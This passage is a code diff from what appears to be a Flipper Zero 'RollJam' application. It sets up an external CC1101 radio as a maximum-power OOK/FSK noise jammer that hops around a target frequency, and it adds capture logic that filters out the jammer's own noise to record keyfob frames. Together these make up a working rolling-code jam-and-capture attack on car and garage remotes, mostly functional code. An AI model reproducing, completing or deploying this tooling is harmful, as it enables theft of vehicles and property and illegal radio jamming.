cs_lo(); furi_delay_us(30);
@@ -204,13 +205,8 @@ static bool cc_check(void) {
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
@@ -223,98 +219,14 @@ static void cc_idle(void) {
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
@@ -323,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
@@ -381,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
@@ -423,7 +406,7 @@ static int32_t jam_thread_worker(void* context) {
0xAA,0x55
};
furi_hal_gpio_write(pin_amp, true);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
@@ -432,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
@@ -452,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
@@ -463,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
@@ -492,67 +474,48 @@ static int32_t jam_thread_worker(void* context) {
}
cc_idle();
furi_hal_gpio_write(pin_amp, false);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
void rolljam_ext_gpio_deinit(void) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -17,6 +17,7 @@
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -21,148 +21,252 @@
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
static const uint8_t preset_ook_rx[] = {
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_rx[] = {
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_ook_tx[] = {
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return (matches > (int)(s->size * 8 / 10));
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
@@ -171,90 +275,101 @@ typedef enum {
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
if(g_cap.state == CapDone) return;
cap_callback_count++;
g_cap.callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
